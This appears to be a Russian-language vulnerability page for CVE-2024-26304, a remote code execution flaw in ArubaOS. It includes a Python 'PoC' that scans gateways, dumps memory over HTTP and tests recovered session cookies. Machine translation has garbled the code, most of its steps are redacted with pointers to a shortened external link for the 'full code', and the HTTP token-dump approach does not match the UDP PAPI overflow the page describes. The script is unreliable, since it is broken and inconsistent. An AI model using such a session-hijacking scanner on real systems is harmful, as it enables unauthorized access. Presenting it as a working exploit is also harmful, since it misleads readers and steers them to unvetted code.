Уязвимость удаленного выполнения кода в ArubaOS (CVE-2024-26304)
описания
В базовой службе управления L2/L3 существует уязвимость переполнения буфера, которая может привести к неавторизованному удаленному выполнению кода путем отправки специально созданных пакетов, предназначенных для UDP-порта PAPI (Aruba Access Point Management Protocol) (8211). Успешная эксплуатация этой уязвимости может привести к выполнению произвольного кода на базовой операционной системе от имени привилегированного пользователя.
poc
импорт ре
импорт sys
импортировать hexdump
import argparse
запросы на импортfrom rich.console.import Console
из urllib.parse import urlparse
from alive_progress import alive_bar
из typing import List, Tuple, Optional, TextIO
из concurrent.futures import ThreadPoolExecutor, as_completedwarnings = requests.packages.urllib3
warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning)класс ArubaRCE.
def __init__(self).
self.console = Console()
self.parser = argparse.ArgumentParser(description='ArubaRCE')
self.setup_arguments()
self.results: List[Tuple[str, str]] = []
self.output_file: Optional[TextIO] = None
if self.args.output.
self.output_file = open(self.args.output, 'w')def setup_arguments(self) -> None.
self.parser.add_argument('-u', '-url', help='Цель шлюза ArubaRCE /. Gateway target (например, https://192.168.1.200)')
self.parser.add_argument('-f', '-file', help='Файл, содержащий список целевых URL (по одному URL в строке)')
self.parser.add_argument('-o', '-output', help='Файл для сохранения результаты вывода")
self.parser.add_argument('-v', '-verbose', action='store_ true', help='Включить режим verbose')
self.parser.add_argument('-only-valid', action='store_true', help= 'Показывать только результаты с действительными сессиями')
self.args = self.parser.parse_args()def print_results(self, header: str, result: str) -> None.
если self.args.only_valid и "[+]" отсутствуют в заголовке.
возвратformatted_msg = f"{заголовок} {результат}"
self.console.print(formatted_msg, style="white")
if self.output_file.
self.output_file.write(result + '\n')def normalize_url(self, url: str) -> str.
if not url.startswith("http://") and not url.startswith("https://")::
url = f "https://{url}"parsed_url = urlparse(url)
normalised_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
return normalised_urldef dump_memory(self, url: str) -> None.
full_url = self.normalise_url(url)
заголовки = {
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
print("Заголовки:", headers)
}попробуйте.
r = requests.get(
f"{full_url}/oauth/redacted", # [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1].
headers=headers,
verify=False,
таймаут=10
)
content_bytes = r.contentесли r.status_code == 200 и content_bytes.
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
print("Байт содержимого:", content_bytes)except Exception as e.
print("Ошибка:", e)def cleanan_bytes(self, data: bytes) -> bytes.
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
print("Очистка байтов...")def find_session_tokens(self, content_bytes: bytes) -> List[str].
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
print("Поиск токенов сессии...")def test_session_cookie(self, url: str, session_token: str) -> bool.
заголовки = {
"Cookie": f"[REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]={session_token}".
}
попробуйте.
r = requests.post(
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
)
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
print("Результат проверки куки-файлов сессии:", result)
вернуть результатexcept Exception as e.
print("Ошибка:", e)
вернуть Falsedef run(self) -> None.
if self.args.url.
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
for header, result in self.results:
self.print_results(header, result)
elif self.args.file.
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
pass # Место для выполнения кода для обработки файла
еще.
self.console.print("[bold red][-][/bold red] Необходимо указать URL или файл.", style="white")
sys.exit(1)if self.output_file.
self.output_file.close()if __name__ == "__main__".
getRCE = ArubaRCE()
getRCE.run()
Источник уязвимости
Комментарии
Добавить комментарий-
Список комментариев пуст